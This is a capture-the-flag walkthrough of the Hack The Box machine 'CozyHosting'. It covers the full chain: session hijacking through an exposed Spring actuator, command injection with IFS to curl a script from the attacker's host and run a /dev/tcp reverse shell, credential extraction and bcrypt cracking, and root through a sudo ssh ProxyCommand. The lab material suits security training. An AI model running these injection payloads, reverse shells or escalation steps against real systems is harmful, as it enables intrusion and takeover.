> For the complete documentation index, see [llms.txt](https://docs.golgothus.tech/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://docs.golgothus.tech/ctf/hackthebox/cozyhosting.md).

# CozyHosting

$machine=10.129.84.247

```
sudo nmap -sS -Pn -p- $machine
```

```
Starting Nmap 7.93 ( https://nmap.org ) at 2023-10-17 00:09 CDT
Nmap scan report for 10.129.84.187
Host is up (0.055s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
```

Added the following to my `etc/hosts`:

```
$machine cozyhosting.htb
```

#### Reviewing the Site

Browsing around, we see there's a login page:

* cozyhosting.htb/login

Browsing to the site and doing some recon, we can see it's created through the **bootstrapmade** and is using the **NiceAdmin**:

```
    <!-- =======================================================
    * Template Name: NiceAdmin
    * Updated: Mar 09 2023 with Bootstrap v5.2.3
    * Template URL: https://bootstrapmade.com/nice-admin-bootstrap-admin-html-template/
    * Author: BootstrapMade.com
    * License: https://bootstrapmade.com/license/
    ======================================================== -->
```

Additionally, looking through the page source code, we can see the login is using the POST method:

```
<form action="[/login](view-source:http://cozyhosting.htb/login)" method="post" class="row g-3 needs-validation">
```

The main page for **cozyhosting.htb** is comprised of Ubuntu and Nginx on the backend:

!\[\[Pasted image 20231017113654.png]]

#### Performing Site Scanning

Tried doing a spider crawl through ZAP, didn't really find too much, and didn't see anything super out of the ordinary.

One of my teammates used a tool called [dirsearch](https://github.com/maurosoria/dirsearch#how-to-use), I went ahead and installed this through git clone and found some interesting directories such as:

* /actuators/beans

Searching this specific directory, I found that beans is part of the Java Spring framework. From previous professional experience, I know there have been several exploits against this particular tool.

> reference; <https://docs.spring.io/spring-boot/docs/current/actuator-api/htmlsingle/>

Looking through some of the output from dirsearch I checked:

* <http://cozyhosting.htb/actuator/sessions>

Which gave me a result of:

* `{"99132C1A463C58EB494A4C8C14037620":"kanderson"}`

This seems kind of peculiar, and looks like the first part might be a token to the user, kanderson's, session.

Searched for methods to hijack the potential JWT, no luck

Starting to go back through the login page to see if we are able to use SQLi to sign in, gain credentials.

#### Performing SQLi Payloads

Within Burpsuite, using Intruder > Sniper on the following page:

* cozyhosting.htb/login

Using the wordlists from:

* <https://github.com/payloadbox/sql-injection-payload-list>

None of the SQLi was successful (at this time.)

#### Reviewing Java Spring Boot

> reference; <https://www.veracode.com/blog/research/exploiting-spring-boot-actuators>

1. Remote Code Execution via `/jolokia`
   1. Unsuccessful
   2. The Jolokia library is not present
2. Config Modification via `/env`
   1. Unsuccessful
   2. POST methods are not allowed

#### Reviewing Web Server info

Ran another NMAP scan to review what is running on port 80:

```bash
┌─[ghost@parrot]─[~/htb/labs/cozy]
└──╼ $sudo nmap -sV cozyhosting.htb -p 80
[sudo] password for ghost: 
Starting Nmap 7.93 ( https://nmap.org ) at 2023-10-17 16:35 CDT
Nmap scan report for cozyhosting.htb (10.129.84.247)
Host is up (0.060s latency).

PORT   STATE SERVICE VERSION
80/tcp open  http    nginx 1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.59 seconds
```

Running the following GET request in Burpsuite Intruder:

```
GET /actuator/sessions HTTP/1.1
Host: cozyhosting.htb
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5790.110 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close
```

We receive something that seems to maybe indicate that the actuators are running on the nginx host itself:

```
HTTP/1.1 200 
Server: nginx/1.18.0 (Ubuntu)
Date: Tue, 17 Oct 2023 23:15:16 GMT
Content-Type: application/vnd.spring-boot.actuator.v3+json
Connection: close
X-Content-Type-Options: nosniff
X-XSS-Protection: 0
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Pragma: no-cache
Expires: 0
X-Frame-Options: DENY
Content-Length: 48

{"8D2F63F0E769001D43AEDA87294FA0F0":"kanderson"}
```

Running the below request, we see that the spring boot version is:

* `application/vnd.spring-boot.actuator.v3+json`

```
GET /actuator HTTP/1.1
Host: cozyhosting.htb
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5790.110 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close
Content-Length: 48

{"3A1878B593216265FED41C60DE43698B":"kanderson"}
```

#### Session hijacking

Using the token from the user **kanderson**, we're able to replay this through the Burp Suite proxy, and gain access to cozyhosting.htb/admin

> **NOTE**: Double check your token is correct, as they will refresh

After some tinkering, we see that there is some light arbitrary command execution in the username field within the POST request of the following:

Eventually we can use IFS (internal format separator) to remove any whitespace in our commands.

Testing for arbitrary code execution:

```bash
POST /executessh HTTP/1.1
Host: cozyhosting.htb
Content-Length: 37
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://cozyhosting.htb
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.5993.70 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Cookie: JSESSIONID=043573F0F26DFFDC0022D227655DEB57
Connection: close

host=10.128.229.88&username=/bin/bash
```

We received an interesting response:

```
Location: http://cozyhosting.htb/admin?error=ssh: connect to host 10.128.229.88 port 22: Connection timed out
```

Tried getting a reverse TCP Shell:

```bash
POST /executessh HTTP/1.1
Host: cozyhosting.htb
Content-Length: 107
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://cozyhosting.htb
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.5993.70 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Cookie: JSESSIONID=043573F0F26DFFDC0022D227655DEB57
Connection: close

host=10.128.229.88&username=%2Fbin%2Fbash%20%2Di%20%3E%26%20%2Fdev%2Ftcp%2F10%2E0%2E0%2E1%2F4242%200%3E%261
```

Tried URL-encoding to remove whitespaces, no luck:

```
Location: http://cozyhosting.htb/admin?error=Username can't contain whitespaces!
```

One of my friends mentioned trying to use and set a variable through IFS, and after a few tries, it looked like we were getting somewhere:

Tried a few other directories for the `-o` parameter, but I received access denied.

> AccessDenied

```bash
host=10.129.229.88&username=$(IFS=_;command="curl_-k_10.10.16.12:8000/shell.sh_-o_~/shell.sh";$command)
```

> AccessDenied

```bash
host=10.129.229.88&username=$(IFS=_;command="curl_-k_10.10.16.12:8000/shell.sh_-o_./tmp/shell.sh";$command)
```

Checked for `/tmp/` and bingo:

```bash
host=10.129.229.88&username=$(IFS=_;command="curl_-k_10.10.16.12:8000/shell.sh_-o_/tmp/shell.sh";$command)
```

**response**

```
Location: http://cozyhosting.htb/admin?error=  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current                                 Dload  Upload   Total   Spent    Left  Speed  0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0  0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0curl: (7) Failed to connect to 10.10.16.12 port 8000 after 169 ms: Connection refused  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current                                 Dload  Upload   Total   Spent    Left  Speed  0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0curl: (6) Could not resolve host: |  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current                                 Dload  Upload   Total   Spent    Left  Speed  0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0curl: (6) Could not resolve host: shcurl: (3) URL using bad/illegal format or missing URLusage: ssh [-46AaCfGgKkMNnqsTtVvXxYy] [-B bind_interface]           [-b bind_address] [-c cipher_spec] [-D [bind_address:]port]           [-E log_file] [-e escape_char] [-F configfile] [-I pkcs11]           [-i identity_file] [-J [user@]host[:port]] [-L address]           [-l login_name] [-m mac_spec] [-O ctl_cmd] [-o option] [-p port]           [-Q query_option] [-R address] [-S ctl_path] [-W host:port]           [-w local_tun[:remote_tun]] destination [command [argument ...]]
```

My reverse shell script contained the following:

```bash
#! /bin/bash

/bin/bash -i >& /dev/tcp/10.10.16.12/1337 0>&1
```

After a few failures of trying to use `chmod +x` to make the script executable, I tried alternative methods:

```bash
POST /executessh HTTP/1.1
Host: cozyhosting.htb
Content-Length: 79
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://cozyhosting.htb
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.5993.70 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://cozyhosting.htb/admin?error=/bin/bash:%20line%201:%20bg:%20no%20job%20control/bin/bash:%20line%201:%201@10.129.229.88:%20command%20not%20found
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Cookie: JSESSIONID=043573F0F26DFFDC0022D227655DEB57
Connection: close

host=10.129.229.88&username=$(IFS=_;command="/bin/bash_/tmp/shell.sh";$command)
```

This landed our reverse shell, finally.

#### Privesc

Work on trying to upgrade our shell.

We can use `which` along with the following to see if we have methods of upgrading:

```bash
which python
which python3
which perl
which php
```

> reference; <https://zweilosec.github.io/posts/upgrade-linux-shell/>

```bash
python3 -c 'import pty;pty.spawn("/bin/bash")'
```

We login and we're the user **app**. From some enumeration methods we tried, we know that there is a directory for `/home/josh`, but we are unable to access it.

Starting to run through privesc opportunities from <https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/>

I imagine there might be a method to try and pivot from app to the user profile. So I specifically started to look for SUID / GUID opportunities.

Worked through the following:

```bash
ls -aRl /etc/ | awk '$1 ~ /^.*w.*/' 2>/dev/null # Anyone 
ls -aRl /etc/ | awk '$1 ~ /^..w/' 2>/dev/null # Owner 
ls -aRl /etc/ | awk '$1 ~ /^.....w/' 2>/dev/null # Group 
ls -aRl /etc/ | awk '$1 ~ /w.$/' 2>/dev/null # Other
```

The responses for these commands were quite lengthy, nothing really seemed to stick out.

Continued through the SUID/GUID and sticky bits.

```bash
find / -perm -1000 -type d 2>/dev/null
```

This found something slightly interesting, we can access `/var/log/postgresql`, given this is a web application, we might be able to review, dump a database.

Tried doing:

```bash
app@cozyhosting:/var/log/postgresql$ cat *
cat: postgresql-14-main.log: Permission denied
cat: postgresql-14-main.log.1: Permission denied
cat: postgresql-14-main.log.2.gz: Permission denied
```

No luck.

No interesting GTFObins returned from:

```bash
find / -perm -g=s -type f 2>/dev/null
```

Running

```bash
find / -perm -g=s -o -perm -u=s -type f 2>/dev/null # SGID or **SUID**
```

We again see some results containing postgres:

* `/run/postgresql`
* `/run/posgresql/14-main.pg_stat_tmp`

Start reviewing how to interact with posgres databases.

Pivoting around a bit, I ran `find / -writable -type d 2>/dev/null`, we were able to see that there's a share for `/dev/shm`, when we do `ls /dev/shm/*` we see there's a file named `PostgreSQL.1814524994`.

> Apparently these were rabbit holes.

#### No Privesc needed yet

Reviewing a brief write-up, we see there were credentials in the file found in the directory you get your reverse shell in `/app`. The person whose write-up I reviewed mentioned you can find them via the tool `jd-gui`. This is a part of the Kali repository <https://www.kali.org/tools/jd-gui/>, but was not installed on my image.

Performed the following to pull and review the .jar file:

* On my attacker machine executed `sudo apt install jd-gui`
* Victim machine I used a Python simple server to move the file
  * `cd /app`
  * `python3 -m http.server 9090`
* Once the server is setup, you can run `curl` or `wget` to retrieve the jar.
  * `wget 10.129.209.88:9090/cloudhosting-0.0.1.jar`
* When the file is retrieved, you can do `jd-gui &` on your attacker machine
* Within jd-gui, browse and open the cloudhosting\*.jar file

#### Postgresql Enumeration

After we're able to retrieve the postgresql username and password from the .jar file we can run the following on the victim machine:

```bash
psql -h 127.0.0.1 -U postgres
```

Then copy and paste the password we received from the .jar file. This will allow us to access the database.

After some brainless tinkering, I used the following to further assist with navigating the postgresql database:

<https://stackoverflow.com/questions/34098326/how-to-select-a-schema-in-postgres-when-using-psql>

Running the following I pivoted to what seems to be the password hash for kanderson and admin:

```bash
postgres-# \dn
WARNING: terminal is not fully functional
Press RETURN to continue 
  List of schemas
  Name  |  Owner   
--------+----------
 public | postgres
(1 row)
```

This returns the schema of the database. Unfortunately this wasn't super useful.

Running `\l` will return the databases from the schema, this is where things seemingly start to move forward.

```bash
postgres# \l                                       
WARNING: terminal is not fully functional
Press RETURN to continue 
                                   List of databases
    Name     |  Owner   | Encoding |   Collate   |    Ctype    |   Access privil
eges   
-------------+----------+----------+-------------+-------------+----------------
-------
 cozyhosting | postgres | UTF8     | en_US.UTF-8 | en_US.UTF-8 | 
 postgres    | postgres | UTF8     | en_US.UTF-8 | en_US.UTF-8 | 
 template0   | postgres | UTF8     | en_US.UTF-8 | en_US.UTF-8 | =c/postgres    
      +
             |          |          |             |             | postgres=CTc/po
stgres
 template1   | postgres | UTF8     | en_US.UTF-8 | en_US.UTF-8 | =c/postgres    
      +
             |          |          |             |             | postgres=CTc/po
stgres
(4 rows)

(END)
```

We can then run `\c cozyhosting` to swap databases.

> TLDR; Use the following to enumerate.
>
> \dn # provide the schema of your database \l # list the databases within your current schema, this is is an l as in Lima \c \<table name> # change databases \dt # list tables

Once the correct database is selected, we want to enumerate the tables.

```bash
cozyhosting=# SELECT * FROM users;
WARNING: terminal is not fully functional
Press RETURN to continue 
   name    |                           password                           | role
  
-----------+--------------------------------------------------------------+-----
--
 kanderson | $2a$10$E/Vcd9ecflmPudWeLSEIv.cvK6QjxjWlWXpij1NVNV3Mm6eH58zim | User
 admin     | $2a$10$SpKYdHLB0FOaT7n3x72wtuS0yR8uqqbNNpIPjUb2MZib3H9kVO8dm | Admi
n
(2 rows)
```

These look like entries provided by `/etc/shadow`, from here we can try to use either `hashcat` or `john` to crack the potential passwords.

Doing some digging, we see that the cipher used for these is blowfish per the bcrypt documentation:

<https://en.wikipedia.org/wiki/Bcrypt>

```
Where:

- `$2a$`: The hash algorithm identifier (bcrypt)
- `12`: Input cost (212 i.e. 4096 rounds)
- `R9h/cIPz0gi.URNNX3kh2O`: A base-64 encoding of the input salt
- `PST9/PgBkqquzi.Ss7KIUgO2t0jWMUW`: A base-64 encoding of the first 23 bytes of the computed 24 byte hash
```

Searched around online, and we can create a file on our attacker machine with the following format:

```
 kanderson:$2a$10$E/Vcd9ecflmPudWeLSEIv.cvK6QjxjWlWXpij1NVNV3Mm6eH58zim
 admin:$2a$10$SpKYdHLB0FOaT7n3x72wtuS0yR8uqqbNNpIPjUb2MZib3H9kVO8dm
```

The previous format *should* work for `john`, went ahead and also tried `hashcat` as well. Since I seldom use these tools, I used the following to make sure my hash file format was correct:

<https://hashcat.net/wiki/doku.php?id=example\\_hashes>

Hashcat syntax as follows:

```bash
$ hashcat -m 3200 blowfish.txt /usr/share/wordlists/SecLists/Passwords/Cracked-Hashes/milw0rm-dictionary.txt 
```

The file contained the following contents based off the above link for example hashes:

```
$2a$10$E/Vcd9ecflmPudWeLSEIv.cvK6QjxjWlWXpij1NVNV3Mm6eH58zim
$2a$10$SpKYdHLB0FOaT7n3x72wtuS0yR8uqqbNNpIPjUb2MZib3H9kVO8dm
```

Further verifying some additional command parameters to use for `john`:

<https://www.kali.org/tools/john/>

We see we can use the following:

```bash
john --wordlist=/usr/share/wordlists/rockyou.txt --format=bcrypt
```

This will explicitly use the bcrypt format when sifting through possible matches which should expedite the decryption.

Once we receive the password we can go ahead and try to sign-in with the user we observed earlier during our enumeration during our proxy requests.

#### User

SSH to the victim with josh@\<machine\_ip> with the newly cracked password.

User flag obtained!

#### Enumerating to root

Performed the following quick checks:

```bash
josh@cozyhosting:~$ sudo -i
Sorry, user josh is not allowed to execute '/bin/bash' as root on localhost.
```

No luck, try to review if we can run any commands as super user:

```bash
josh@cozyhosting:~$ sudo -l
Matching Defaults entries for josh on localhost:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User josh may run the following commands on localhost:
    (root) /usr/bin/ssh *
```

Bingo, we have a GTFObin here!

<https://gtfobins.github.io/gtfobins/ssh/>

```bash
sudo ssh -o ProxyCommand=';sh 0<&2 1>&2' x
```

That's a wrap on this box!
